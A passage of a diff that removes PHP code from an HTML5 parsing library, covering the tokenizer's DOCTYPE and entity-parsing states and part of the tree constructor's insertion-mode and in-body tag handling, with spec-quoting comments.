$this->state = 'doctypeName'; - } - } - - private function doctypeNameState() { - /* Consume the next input character: */ - $this->char++; - $char = $this->char(); - - if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { - $this->state = 'AfterDoctypeName'; - - } elseif($char === '>') { - $this->emitToken($this->token); - $this->state = 'data'; - - } elseif(preg_match('/^[a-z]$/', $char)) { - $this->token['name'] .= strtoupper($char); - - } elseif($this->char === $this->EOF) { - $this->emitToken($this->token); - $this->char--; - $this->state = 'data'; - - } else { - $this->token['name'] .= $char; - } - - $this->token['error'] = ($this->token['name'] === 'HTML') - ? false - : true; - } - - private function afterDoctypeNameState() { - /* Consume the next input character: */ - $this->char++; - $char = $this->char(); - - if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { - // Stay in the DOCTYPE name state. - - } elseif($char === '>') { - $this->emitToken($this->token); - $this->state = 'data'; - - } elseif($this->char === $this->EOF) { - $this->emitToken($this->token); - $this->char--; - $this->state = 'data'; - - } else { - $this->token['error'] = true; - $this->state = 'bogusDoctype'; - } - } - - private function bogusDoctypeState() { - /* Consume the next input character: */ - $this->char++; - $char = $this->char(); - - if($char === '>') { - $this->emitToken($this->token); - $this->state = 'data'; - - } elseif($this->char === $this->EOF) { - $this->emitToken($this->token); - $this->char--; - $this->state = 'data'; - - } else { - // Stay in the bogus DOCTYPE state. - } - } - - private function entity() { - $start = $this->char; - - // This section defines how to consume an entity. This definition is - // used when parsing entities in text and in attributes. - - // The behaviour depends on the identity of the next character (the - // one immediately after the U+0026 AMPERSAND character): - - switch($this->character($this->char + 1)) { - // U+0023 NUMBER SIGN (#) - case '#': - - // The behaviour further depends on the character after the - // U+0023 NUMBER SIGN: - switch($this->character($this->char + 1)) { - // U+0078 LATIN SMALL LETTER X - // U+0058 LATIN CAPITAL LETTER X - case 'x': - case 'X': - // Follow the steps below, but using the range of - // characters U+0030 DIGIT ZERO through to U+0039 DIGIT - // NINE, U+0061 LATIN SMALL LETTER A through to U+0066 - // LATIN SMALL LETTER F, and U+0041 LATIN CAPITAL LETTER - // A, through to U+0046 LATIN CAPITAL LETTER F (in other - // words, 0-9, A-F, a-f). - $char = 1; - $char_class = '0-9A-Fa-f'; - break; - - // Anything else - default: - // Follow the steps below, but using the range of - // characters U+0030 DIGIT ZERO through to U+0039 DIGIT - // NINE (i.e. just 0-9). - $char = 0; - $char_class = '0-9'; - break; - } - - // Consume as many characters as match the range of characters - // given above. - $this->char++; - $e_name = $this->characters($char_class, $this->char + $char + 1); - $entity = $this->character($start, $this->char); - $cond = strlen($e_name) > 0; - - // The rest of the parsing happens bellow. - break; - - // Anything else - default: - // Consume the maximum number of characters possible, with the - // consumed characters case-sensitively matching one of the - // identifiers in the first column of the entities table. - $e_name = $this->characters('0-9A-Za-z;', $this->char + 1); - $len = strlen($e_name); - - for($c = 1; $c <= $len; $c++) { - $id = substr($e_name, 0, $c); - $this->char++; - - if(in_array($id, $this->entities)) { - $entity = $id; - break; - } - } - - $cond = isset($entity); - // The rest of the parsing happens bellow. - break; - } - - if(!$cond) { - // If no match can be made, then this is a parse error. No - // characters are consumed, and nothing is returned. - $this->char = $start; - return false; - } - - // Return a character token for the character corresponding to the - // entity name (as given by the second column of the entities table). - return html_entity_decode('&'.$entity.';', ENT_QUOTES, 'UTF-8'); - } - - private function emitToken($token) { - $emit = $this->tree->emitToken($token); - - if(is_int($emit)) { - $this->content_model = $emit; - - } elseif($token['type'] === self::ENDTAG) { - $this->content_model = self::PCDATA; - } - } - - private function EOF() { - $this->state = null; - $this->tree->emitToken(array( - 'type' => self::EOF - )); - } -} - -class HTML5TreeConstructer { - public $stack = array(); - - private $phase; - private $mode; - private $dom; - private $foster_parent = null; - private $a_formatting = array(); - - private $head_pointer = null; - private $form_pointer = null; - - private $scoping = array('button','caption','html','marquee','object','table','td','th'); - private $formatting = array('a','b','big','em','font','i','nobr','s','small','strike','strong','tt','u'); - private $special = array('address','area','base','basefont','bgsound', - 'blockquote','body','br','center','col','colgroup','dd','dir','div','dl', - 'dt','embed','fieldset','form','frame','frameset','h1','h2','h3','h4','h5', - 'h6','head','hr','iframe','image','img','input','isindex','li','link', - 'listing','menu','meta','noembed','noframes','noscript','ol','optgroup', - 'option','p','param','plaintext','pre','script','select','spacer','style', - 'tbody','textarea','tfoot','thead','title','tr','ul','wbr'); - - // The different phases. - const INIT_PHASE = 0; - const ROOT_PHASE = 1; - const MAIN_PHASE = 2; - const END_PHASE = 3; - - // The different insertion modes for the main phase. - const BEFOR_HEAD = 0; - const IN_HEAD = 1; - const AFTER_HEAD = 2; - const IN_BODY = 3; - const IN_TABLE = 4; - const IN_CAPTION = 5; - const IN_CGROUP = 6; - const IN_TBODY = 7; - const IN_ROW = 8; - const IN_CELL = 9; - const IN_SELECT = 10; - const AFTER_BODY = 11; - const IN_FRAME = 12; - const AFTR_FRAME = 13; - - // The different types of elements. - const SPECIAL = 0; - const SCOPING = 1; - const FORMATTING = 2; - const PHRASING = 3; - - const MARKER = 0; - - public function __construct() { - $this->phase = self::INIT_PHASE; - $this->mode = self::BEFOR_HEAD; - $this->dom = new DOMDocument; - - $this->dom->encoding = 'UTF-8'; - $this->dom->preserveWhiteSpace = true; - $this->dom->substituteEntities = true; - $this->dom->strictErrorChecking = false; - } - - // Process tag tokens - public function emitToken($token) { - switch($this->phase) { - case self::INIT_PHASE: return $this->initPhase($token); break; - case self::ROOT_PHASE: return $this->rootElementPhase($token); break; - case self::MAIN_PHASE: return $this->mainPhase($token); break; - case self::END_PHASE : return $this->trailingEndPhase($token); break; - } - } - - private function initPhase($token) { - /* Initially, the tree construction stage must handle each token - emitted from the tokenisation stage as follows: */ - - /* A DOCTYPE token that is marked as being in error - A comment token - A start tag token - An end tag token - A character token that is not one of one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - or U+0020 SPACE - An end-of-file token */ - if((isset($token['error']) && $token['error']) || - $token['type'] === HTML5::COMMENT || - $token['type'] === HTML5::STARTTAG || - $token['type'] === HTML5::ENDTAG || - $token['type'] === HTML5::EOF || - ($token['type'] === HTML5::CHARACTR && isset($token['data']) && - !preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data']))) { - /* This specification does not define how to handle this case. In - particular, user agents may ignore the entirety of this specification - altogether for such documents, and instead invoke special parse modes - with a greater emphasis on backwards compatibility. */ - - $this->phase = self::ROOT_PHASE; - return $this->rootElementPhase($token); - - /* A DOCTYPE token marked as being correct */ - } elseif(isset($token['error']) && !$token['error']) { - /* Append a DocumentType node to the Document node, with the name - attribute set to the name given in the DOCTYPE token (which will be - "HTML"), and the other attributes specific to DocumentType objects - set to null, empty lists, or the empty string as appropriate. */ - $doctype = new DOMDocumentType(null, null, 'HTML'); - - /* Then, switch to the root element phase of the tree construction - stage. */ - $this->phase = self::ROOT_PHASE; - - /* A character token that is one of one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - or U+0020 SPACE */ - } elseif(isset($token['data']) && preg_match('/^[\t\n\x0b\x0c ]+$/', - $token['data'])) { - /* Append that character to the Document node. */ - $text = $this->dom->createTextNode($token['data']); - $this->dom->appendChild($text); - } - } - - private function rootElementPhase($token) { - /* After the initial phase, as each token is emitted from the tokenisation - stage, it must be processed as described in this section. */ - - /* A DOCTYPE token */ - if($token['type'] === HTML5::DOCTYPE) { - // Parse error. Ignore the token. - - /* A comment token */ - } elseif($token['type'] === HTML5::COMMENT) { - /* Append a Comment node to the Document object with the data - attribute set to the data given in the comment token. */ - $comment = $this->dom->createComment($token['data']); - $this->dom->appendChild($comment); - - /* A character token that is one of one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - or U+0020 SPACE */ - } elseif($token['type'] === HTML5::CHARACTR && - preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) { - /* Append that character to the Document node. */ - $text = $this->dom->createTextNode($token['data']); - $this->dom->appendChild($text); - - /* A character token that is not one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED - (FF), or U+0020 SPACE - A start tag token - An end tag token - An end-of-file token */ - } elseif(($token['type'] === HTML5::CHARACTR && - !preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) || - $token['type'] === HTML5::STARTTAG || - $token['type'] === HTML5::ENDTAG || - $token['type'] === HTML5::EOF) { - /* Create an HTMLElement node with the tag name html, in the HTML - namespace. Append it to the Document object. Switch to the main - phase and reprocess the current token. */ - $html = $this->dom->createElement('html'); - $this->dom->appendChild($html); - $this->stack[] = $html; - - $this->phase = self::MAIN_PHASE; - return $this->mainPhase($token); - } - } - - private function mainPhase($token) { - /* Tokens in the main phase must be handled as follows: */ - - /* A DOCTYPE token */ - if($token['type'] === HTML5::DOCTYPE) { - // Parse error. Ignore the token. - - /* A start tag token with the tag name "html" */ - } elseif($token['type'] === HTML5::STARTTAG && $token['name'] === 'html') { - /* If this start tag token was not the first start tag token, then - it is a parse error. */ - - /* For each attribute on the token, check to see if the attribute - is already present on the top element of the stack of open elements. - If it is not, add the attribute and its corresponding value to that - element. */ - foreach($token['attr'] as $attr) { - if(!$this->stack[0]->hasAttribute($attr['name'])) { - $this->stack[0]->setAttribute($attr['name'], $attr['value']); - } - } - - /* An end-of-file token */ - } elseif($token['type'] === HTML5::EOF) { - /* Generate implied end tags. */ - $this->generateImpliedEndTags(); - - /* Anything else. */ - } else { - /* Depends on the insertion mode: */ - switch($this->mode) { - case self::BEFOR_HEAD: return $this->beforeHead($token); break; - case self::IN_HEAD: return $this->inHead($token); break; - case self::AFTER_HEAD: return $this->afterHead($token); break; - case self::IN_BODY: return $this->inBody($token); break; - case self::IN_TABLE: return $this->inTable($token); break; - case self::IN_CAPTION: return $this->inCaption($token); break; - case self::IN_CGROUP: return $this->inColumnGroup($token); break; - case self::IN_TBODY: return $this->inTableBody($token); break; - case self::IN_ROW: return $this->inRow($token); break; - case self::IN_CELL: return $this->inCell($token); break; - case self::IN_SELECT: return $this->inSelect($token); break; - case self::AFTER_BODY: return $this->afterBody($token); break; - case self::IN_FRAME: return $this->inFrameset($token); break; - case self::AFTR_FRAME: return $this->afterFrameset($token); break; - case self::END_PHASE: return $this->trailingEndPhase($token); break; - } - } - } - - private function beforeHead($token) { - /* Handle the token as follows: */ - - /* A character token that is one of one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - or U+0020 SPACE */ - if($token['type'] === HTML5::CHARACTR && - preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) { - /* Append the character to the current node. */ - $this->insertText($token['data']); - - /* A comment token */ - } elseif($token['type'] === HTML5::COMMENT) { - /* Append a Comment node to the current node with the data attribute - set to the data given in the comment token. */ - $this->insertComment($token['data']); - - /* A start tag token with the tag name "head" */ - } elseif($token['type'] === HTML5::STARTTAG && $token['name'] === 'head') { - /* Create an element for the token, append the new element to the - current node and push it onto the stack of open elements. */ - $element = $this->insertElement($token); - - /* Set the head element pointer to this new element node. */ - $this->head_pointer = $element; - - /* Change the insertion mode to "in head". */ - $this->mode = self::IN_HEAD; - - /* A start tag token whose tag name is one of: "base", "link", "meta", - "script", "style", "title". Or an end tag with the tag name "html". - Or a character token that is not one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - or U+0020 SPACE. Or any other start tag token */ - } elseif($token['type'] === HTML5::STARTTAG || - ($token['type'] === HTML5::ENDTAG && $token['name'] === 'html') || - ($token['type'] === HTML5::CHARACTR && !preg_match('/^[\t\n\x0b\x0c ]$/', - $token['data']))) { - /* Act as if a start tag token with the tag name "head" and no - attributes had been seen, then reprocess the current token. */ - $this->beforeHead(array( - 'name' => 'head', - 'type' => HTML5::STARTTAG, - 'attr' => array() - )); - - return $this->inHead($token); - - /* Any other end tag */ - } elseif($token['type'] === HTML5::ENDTAG) { - /* Parse error. Ignore the token. */ - } - } - - private function inHead($token) { - /* Handle the token as follows: */ - - /* A character token that is one of one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - or U+0020 SPACE. - - THIS DIFFERS FROM THE SPEC: If the current node is either a title, style - or script element, append the character to the current node regardless - of its content. */ - if(($token['type'] === HTML5::CHARACTR && - preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) || ( - $token['type'] === HTML5::CHARACTR && in_array(end($this->stack)->nodeName, - array('title', 'style', 'script')))) { - /* Append the character to the current node. */ - $this->insertText($token['data']); - - /* A comment token */ - } elseif($token['type'] === HTML5::COMMENT) { - /* Append a Comment node to the current node with the data attribute - set to the data given in the comment token. */ - $this->insertComment($token['data']); - - } elseif($token['type'] === HTML5::ENDTAG && - in_array($token['name'], array('title', 'style', 'script'))) { - array_pop($this->stack); - return HTML5::PCDATA; - - /* A start tag with the tag name "title" */ - } elseif($token['type'] === HTML5::STARTTAG && $token['name'] === 'title') { - /* Create an element for the token and append the new element to the - node pointed to by the head element pointer, or, if that is null - (innerHTML case), to the current node. */ - if($this->head_pointer !== null) { - $element = $this->insertElement($token, false); - $this->head_pointer->appendChild($element); - - } else { - $element = $this->insertElement($token); - } - - /* Switch the tokeniser's content model flag to the RCDATA state. */ - return HTML5::RCDATA; - - /* A start tag with the tag name "style" */ - } elseif($token['type'] === HTML5::STARTTAG && $token['name'] === 'style') { - /* Create an element for the token and append the new element to the - node pointed to by the head element pointer, or, if that is null - (innerHTML case), to the current node. */ - if($this->head_pointer !== null) { - $element = $this->insertElement($token, false); - $this->head_pointer->appendChild($element); - - } else { - $this->insertElement($token); - } - - /* Switch the tokeniser's content model flag to the CDATA state. */ - return HTML5::CDATA; - - /* A start tag with the tag name "script" */ - } elseif($token['type'] === HTML5::STARTTAG && $token['name'] === 'script') { - /* Create an element for the token. */ - $element = $this->insertElement($token, false); - $this->head_pointer->appendChild($element); - - /* Switch the tokeniser's content model flag to the CDATA state. */ - return HTML5::CDATA; - - /* A start tag with the tag name "base", "link", or "meta" */ - } elseif($token['type'] === HTML5::STARTTAG && in_array($token['name'], - array('base', 'link', 'meta'))) { - /* Create an element for the token and append the new element to the - node pointed to by the head element pointer, or, if that is null - (innerHTML case), to the current node. */ - if($this->head_pointer !== null) { - $element = $this->insertElement($token, false); - $this->head_pointer->appendChild($element); - array_pop($this->stack); - - } else { - $this->insertElement($token); - } - - /* An end tag with the tag name "head" */ - } elseif($token['type'] === HTML5::ENDTAG && $token['name'] === 'head') { - /* If the current node is a head element, pop the current node off - the stack of open elements. */ - if($this->head_pointer->isSameNode(end($this->stack))) { - array_pop($this->stack); - - /* Otherwise, this is a parse error. */ - } else { - // k - } - - /* Change the insertion mode to "after head". */ - $this->mode = self::AFTER_HEAD; - - /* A start tag with the tag name "head" or an end tag except "html". */ - } elseif(($token['type'] === HTML5::STARTTAG && $token['name'] === 'head') || - ($token['type'] === HTML5::ENDTAG && $token['name'] !== 'html')) { - // Parse error. Ignore the token. - - /* Anything else */ - } else { - /* If the current node is a head element, act as if an end tag - token with the tag name "head" had been seen. */ - if($this->head_pointer->isSameNode(end($this->stack))) { - $this->inHead(array( - 'name' => 'head', - 'type' => HTML5::ENDTAG - )); - - /* Otherwise, change the insertion mode to "after head". */ - } else { - $this->mode = self::AFTER_HEAD; - } - - /* Then, reprocess the current token. */ - return $this->afterHead($token); - } - } - - private function afterHead($token) { - /* Handle the token as follows: */ - - /* A character token that is one of one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - or U+0020 SPACE */ - if($token['type'] === HTML5::CHARACTR && - preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) { - /* Append the character to the current node. */ - $this->insertText($token['data']); - - /* A comment token */ - } elseif($token['type'] === HTML5::COMMENT) { - /* Append a Comment node to the current node with the data attribute - set to the data given in the comment token. */ - $this->insertComment($token['data']); - - /* A start tag token with the tag name "body" */ - } elseif($token['type'] === HTML5::STARTTAG && $token['name'] === 'body') { - /* Insert a body element for the token. */ - $this->insertElement($token); - - /* Change the insertion mode to "in body". */ - $this->mode = self::IN_BODY; - - /* A start tag token with the tag name "frameset" */ - } elseif($token['type'] === HTML5::STARTTAG && $token['name'] === 'frameset') { - /* Insert a frameset element for the token. */ - $this->insertElement($token); - - /* Change the insertion mode to "in frameset". */ - $this->mode = self::IN_FRAME; - - /* A start tag token whose tag name is one of: "base", "link", "meta", - "script", "style", "title" */ - } elseif($token['type'] === HTML5::STARTTAG && in_array($token['name'], - array('base', 'link', 'meta', 'script', 'style', 'title'))) { - /* Parse error. Switch the insertion mode back to "in head" and - reprocess the token. */ - $this->mode = self::IN_HEAD; - return $this->inHead($token); - - /* Anything else */ - } else { - /* Act as if a start tag token with the tag name "body" and no - attributes had been seen, and then reprocess the current token. */ - $this->afterHead(array( - 'name' => 'body', - 'type' => HTML5::STARTTAG, - 'attr' => array() - )); - - return $this->inBody($token); - } - } - - private function inBody($token) { - /* Handle the token as follows: */ - - switch($token['type']) { - /* A character token */ - case HTML5::CHARACTR: - /* Reconstruct the active formatting elements, if any. */ - $this->reconstructActiveFormattingElements(); - - /* Append the token's character to the current node. */ - $this->insertText($token['data']); - break; - - /* A comment token */ - case HTML5::COMMENT: - /* Append a Comment node to the current node with the data - attribute set to the data given in the comment token. */ - $this->insertComment($token['data']); - break; - - case HTML5::STARTTAG: - switch($token['name']) { - /* A start tag token whose tag name is one of: "script", - "style" */ - case 'script': case 'style': - /* Process the token as if the insertion mode had been "in - head". */ - return $this->inHead($token); - break; - - /* A start tag token whose tag name is one of: "base", "link", - "meta", "title" */ - case 'base': case 'link': case 'meta': case 'title': - /* Parse error. Process the token as if the insertion mode - had been "in head". */ - return $this->inHead($token); - break; - - /* A start tag token with the tag name "body" */ - case 'body': - /* Parse error. If the second element on the stack of open - elements is not a body element, or, if the stack of open - elements has only one node on it, then ignore the token. - (innerHTML case) */ - if(count($this->stack) === 1 || $this->stack[1]->nodeName !== 'body') { - // Ignore - - /* Otherwise, for each attribute on the token, check to see - if the attribute is already present on the body element (the - second element) on the stack of open elements. If it is not, - add the attribute and its corresponding value to that - element. */ - } else { - foreach($token['attr'] as $attr) { - if(!$this->stack[1]->hasAttribute($attr['name'])) { - $this->stack[1]->setAttribute($attr['name'], $attr['value']); - } - } - } - break; - - /* A start tag whose tag name is one of: "address", - "blockquote", "center", "dir", "div", "dl", "fieldset", - "listing", "menu", "ol", "p", "ul" */ - case 'address': case 'blockquote': case 'center': case 'dir': - case 'div': case 'dl': case 'fieldset': case 'listing': - case 'menu': case 'ol': case 'p': case 'ul': - /* If the stack of open elements has a p element in scope, - then act as if an end tag with the tag name p had been - seen. */ - if($this->elementInScope('p')) { - $this->emitToken(array( - 'name' => 'p', - 'type' => HTML5::ENDTAG - )); - } - - /* Insert an HTML element for the token. */ - $this->insertElement($token); - break; - - /* A start tag whose tag name is "form" */ - case 'form': - /* If the form element pointer is not null, ignore the - token with a parse error. */ - if($this->form_pointer !== null) { - // Ignore. - - /* Otherwise: */ - } else { - /* If the stack of open elements has a p element in - scope, then act as if an end tag with the tag name p - had been seen. */ - if($this->elementInScope('p')) { - $this->emitToken(array( - 'name' => 'p', - 'type' => HTML5::ENDTAG - )); - } - - /* Insert an HTML element for the token, and set the - form element pointer to point to the element created. */ - $element = $this->insertElement($token); - $this->form_pointer = $element; - } - break; - - /* A start tag whose tag name is "li", "dd" or "dt" */ - case 'li': case 'dd': case 'dt': - /* If the stack of open elements has a p element in scope, - then act as if an end tag with the tag name p had been - seen. */ - if($this->elementInScope('p')) { - $this->emitToken(array( - 'name' => 'p', - 'type' => HTML5::ENDTAG - )); - } - - $stack_length = count($this->stack) - 1; - - for($n = $stack_length; 0 <= $n; $n--) { - /* 1. Initialise node to be the current node (the - bottommost node of the stack). */ - $stop = false; - $node = $this->stack[$n]; - $cat = $this->getElementCategory($node->tagName); - - /* 2. If node is an li, dd or dt element, then pop all - the nodes from the current node up to node, including - node, then stop this algorithm. */ - if($token['name'] === $node->tagName || ($token['name'] !== 'li' - && ($node->tagName === 'dd' || $node->tagName === 'dt'))) { - for($x = $stack_length; $x >= $n ; $x--) { - array_pop($this->stack); - } - - break; - } - - /* 3. If node is not in the formatting category, and is - not in the phrasing category, and is not an address or - div element, then stop this algorithm. */ - if($cat !== self::FORMATTING && $cat !== self::PHRASING && - $node->tagName !== 'address' && $node->tagName !== 'div') { - break; - } - } - - /* Finally, insert an HTML element with the same tag - name as the token's. */ - $this->insertElement($token); - break; - - /* A start tag token whose tag name is "plaintext" */ - case 'plaintext': - /* If the stack of open elements has a p element in scope, - then act as if an end tag with the tag name p had been - seen. */ - if($this->elementInScope('p')) { - $this->emitToken(array( - 'name' => 'p', - 'type' => HTML5::ENDTAG - )); - } - - /* Insert an HTML element for the token. */ - $this->insertElement($token); - - return HTML5::PLAINTEXT; - break; - - /* A start tag whose tag name is one of: "h1", "h2", "h3", "h4", - "h5", "h6" */ - case 'h1': case 'h2': case 'h3': case 'h4': case 'h5': case 'h6': - /* If the stack of open elements has a p element in scope, - then act as if an end tag with the tag name p had been seen. */ - if($this->elementInScope('p')) { - $this->emitToken(array( - 'name' => 'p', - 'type' => HTML5::ENDTAG - )); - } - - /* If the stack of open elements has in scope an element whose - tag name is one of "h1", "h2", "h3", "h4", "h5", or "h6", then - this is a parse error; pop elements from the stack until an - element with one of those tag names has been popped from the - stack. */ - while($this->elementInScope(array('h1', 'h2', 'h3', 'h4', 'h5', 'h6'))) { - array_pop($this->stack); - } - - /* Insert an HTML element for the token. */ - $this->insertElement($token); - break; - - /* A start tag whose tag name is "a" */ - case 'a': - /* If the list of active formatting elements contains - an element whose tag name is "a" between the end of the - list and the last marker on the list (or the start of - the list if there is no marker on the list), then this - is a parse error; act as if an end tag with the tag name - "a" had been seen, then remove that element from the list - of active formatting elements and the stack of open - elements if the end tag didn't already remove it (it - might not have if the element is not in table scope). */ - $leng = count($this->a_formatting); - - for($n = $leng - 1; $n >= 0; $n--) { - if($this->a_formatting[$n] === self::MARKER) { - break; - - } elseif($this->a_formatting[$n]->nodeName === 'a') { - $this->emitToken(array( - 'name' => 'a', - 'type' => HTML5::ENDTAG - )); - break; - } - } - - /* Reconstruct the active formatting elements, if any. */ - $this->reconstructActiveFormattingElements(); - - /* Insert an HTML element for the token. */ - $el = $this->insertElement($token); - - /* Add that element to the list of active formatting - elements. */ - $this->a_formatting[] = $el; - break; - - /* A start tag whose tag name is one of: "b", "big", "em", "font", - "i", "nobr", "s", "small", "strike", "strong", "tt", "u" */ - case 'b': case 'big': case 'em': case 'font': case 'i': - case 'nobr': case 's': case 'small': case 'strike': - case 'strong': case 'tt': case 'u': - /* Reconstruct the active formatting elements, if any. */ - $this->reconstructActiveFormattingElements(); - - /* Insert an HTML element for the token. */ - $el = $this->insertElement($token); - - /* Add that element to the list of active formatting - elements. */ - $this->a_formatting[] = $el; - break; - - /* A start tag token whose tag name is "button" */ - case 'button': - /* If the stack of open elements has a button element in scope, - then this is a parse error; act as if an end tag with the tag - name "button" had been seen, then reprocess the token. (We don't - do that. Unnecessary.) */ - if($this->elementInScope('button')) { - $this->inBody(array( - 'name' => 'button', - 'type' => HTML5::ENDTAG - )); - } - - /* Reconstruct the active formatting elements, if any. */ - $this->reconstructActiveFormattingElements(); - - /* Insert an HTML element for the token. */ - $this->insertElement($token); - - /* Insert a marker at the end of the list of active - formatting elements. */ - $this->a_formatting[] = self::MARKER; - break; - - /* A start tag token whose tag name is one of: "marquee", "object" */ - case 'marquee': case 'object': - /* Reconstruct the active formatting elements, if any. */ - $this->reconstructActiveFormattingElements(); - - /* Insert an HTML element for the token. */ - $this->insertElement($token); - - /* Insert a marker at the end of the list of active - formatting elements. */ - $this->a_formatting[] = self::MARKER; - break; - - /* A start tag token whose tag name is "xmp" */ - case 'xmp': - /* Reconstruct the active formatting elements, if any. */ - $this->reconstructActiveFormattingElements(); - - /* Insert an HTML element for the token. */ - $this->insertElement($token); - - /* Switch the content model flag to the CDATA state. */ - return HTML5::CDATA; - break; - - /* A start tag whose tag name is "table" */ - case 'table': - /* If the stack of open elements has a p element in scope, - then act as if an end tag with the tag name p had been seen. */ - if($this->elementInScope('p')) { - $this->emitToken(array( - 'name' => 'p', - 'type' => HTML5::ENDTAG - )); - } - - /* Insert an HTML element for the token. */ - $this->insertElement($token); - - /* Change the insertion mode to "in table". */ - $this->mode = self::IN_TABLE; - break; - - /* A start tag whose tag name is one of: "area", "basefont", - "bgsound", "br", "embed", "img", "param", "spacer", "wbr" */ - case 'area': case 'basefont': case 'bgsound': case 'br': - case 'embed': case 'img': case 'param': case 'spacer': - case 'wbr': - /* Reconstruct the active formatting elements, if any. */ - $this->reconstructActiveFormattingElements(); - - /* Insert an HTML element for the token. */ - $this->insertElement($token); - - /* Immediately pop the current node off the stack of open elements. */ - array_pop($this->stack); - break; - - /* A start tag whose tag name is "hr" */ - case 'hr': - /* If the stack of open elements has a p element in scope, - then act as if an end tag with the tag name p had been seen. */ - if($this->elementInScope('p')) { - $this->emitToken(array( - 'name' => 'p', - 'type' => HTML5::ENDTAG - )); - } - - /* Insert an HTML element for the token. */ - $this->insertElement($token); - - /* Immediately pop the current node off the stack of open elements. */ - array_pop($this->stack); - break; - - /* A start tag whose tag name is "image" */ - case 'image': - /* Parse error. Change the token's tag name to "img" and - reprocess it. (Don't ask.) */ - $token['name'] = 'img'; - return $this->inBody($token); - break; - - /* A start tag whose tag name is "input" */ - case 'input': - /* Reconstruct the active formatting elements, if any. */ - $this->reconstructActiveFormattingElements(); - - /* Insert an input element for the token. */ - $element = $this->insertElement($token, false); - - /* If the form element pointer is not null, then associate the - input element with the form element pointed to by the form - element pointer. */ - $this->form_pointer !== null - ? $this->form_pointer->appendChild($element) - : end($this->stack)->appendChild($element); - - /* Pop that input element off the stack of open elements. */ - array_pop($this->stack); - break; - - /* A start tag whose tag name is "isindex" */ - case 'isindex': - /* Parse error. */ - // w/e - - /* If the form element pointer is not null, - then ignore the token. */ - if($this->form_pointer === null) { - /* Act as if a start tag token with the tag name "form" had - been seen. */ - $this->inBody(array( - 'name' => 'body', - 'type' => HTML5::STARTTAG, - 'attr' => array() - )); - - /* Act as if a start tag token with the tag name "hr" had - been seen. */ - $this->inBody(array( - 'name' => 'hr', - 'type' => HTML5::STARTTAG, - 'attr' => array() - )); - - /* Act as if a start tag token with the tag name "p" had - been seen. */ - $this->inBody(array( - 'name' => 'p', - 'type' => HTML5::STARTTAG, - 'attr' => array() - )); - - /* Act as if a start tag token with the tag name "label" - had been seen. */ - $this->inBody(array( - 'name' => 'label', - 'type' => HTML5::STARTTAG, - 'attr' => array() - )); - - /* Act as if a stream of character tokens had been seen. */ - $this->insertText('This is a searchable index. '. - 'Insert your search keywords here: '); - - /* Act as if a start tag token with the tag name "input" - had been seen, with all the attributes from the "isindex" - token, except with the "name" attribute set to the value - "isindex" (ignoring any explicit "name" attribute). */ - $attr = $token['attr']; - $attr[] = array('name' => 'name', 'value' => 'isindex'); - - $this->inBody(array( - 'name' => 'input', - 'type' => HTML5::STARTTAG, - 'attr' => $attr - )); - - /* Act as if a stream of character tokens had been seen - (see below for what they should say). */ - $this->insertText('This is a searchable index. '. - 'Insert your search keywords here: '); - - /* Act as if an end tag token with the tag name "label" - had been seen. */ - $this->inBody(array( - 'name' => 'label', - 'type' => HTML5::ENDTAG - )); - - /* Act as if an end tag token with the tag name "p" had - been seen. */ - $this->inBody(array( - 'name' => 'p', - 'type' => HTML5::ENDTAG - )); - - /* Act as if a start tag token with the tag name "hr" had - been seen. */ - $this->inBody(array( - 'name' => 'hr', - 'type' => HTML5::ENDTAG - )); - - /* Act as if an end tag token with the tag name "form" had - been seen. */ - $this->inBody(array( - 'name' => 'form', - 'type' => HTML5::ENDTAG - )); - } - break; - - /* A start tag whose tag name is "textarea" */ - case 'textarea': - $this->insertElement($token); - - /* Switch the tokeniser's content model flag to the - RCDATA state. */ - return HTML5::RCDATA; - break; - - /* A start tag whose tag name is one of: "iframe", "noembed", - "noframes" */ - case 'iframe': case 'noembed': case 'noframes': - $this->insertElement($token); - - /* Switch the tokeniser's content model flag to the CDATA state. */ - return HTML5::CDATA; - break; - - /* A start tag whose tag name is "select" */ - case 'select': - /* Reconstruct the active formatting elements, if any. */ - $this->reconstructActiveFormattingElements(); - - /* Insert an HTML element for the token. */ - $this->insertElement($token); - - /* Change the insertion mode to "in select". */ - $this->mode = self::IN_SELECT; - break; - - /* A start or end tag whose tag name is one of: "caption", "col", - "colgroup", "frame", "frameset", "head", "option", "optgroup", - "tbody", "td", "tfoot", "th", "thead", "tr". */ - case 'caption': case 'col': case 'colgroup': case 'frame': - case 'frameset': case 'head': case 'option': case 'optgroup': - case 'tbody': case 'td': case 'tfoot': case 'th': case 'thead': - case 'tr': - // Parse error. Ignore the token. - break; - - /* A start or end tag whose tag name is one of: "event-source", - "section", "nav", "article", "aside", "header", "footer", - "datagrid", "command" */ - case 'event-source': case 'section': case 'nav': case 'article': - case 'aside': case 'header': case 'footer': case 'datagrid': - case 'command': - // Work in progress! - break; - - /* A start tag token not covered by the previous entries */ - default: - /* Reconstruct the active formatting elements, if any. */ - $this->reconstructActiveFormattingElements(); - - $this->insertElement($token); - break; - } - break; - - case HTML5::ENDTAG: - switch($token['name']) { - /* An end tag with the tag name "body" */ - case 'body': - /* If the second element in the stack of open elements is - not a body element, this is a parse error. Ignore the token. - (innerHTML case) */ - if(count($this->stack) < 2 || $this->stack[1]->nodeName !== 'body') { - // Ignore. - - /* 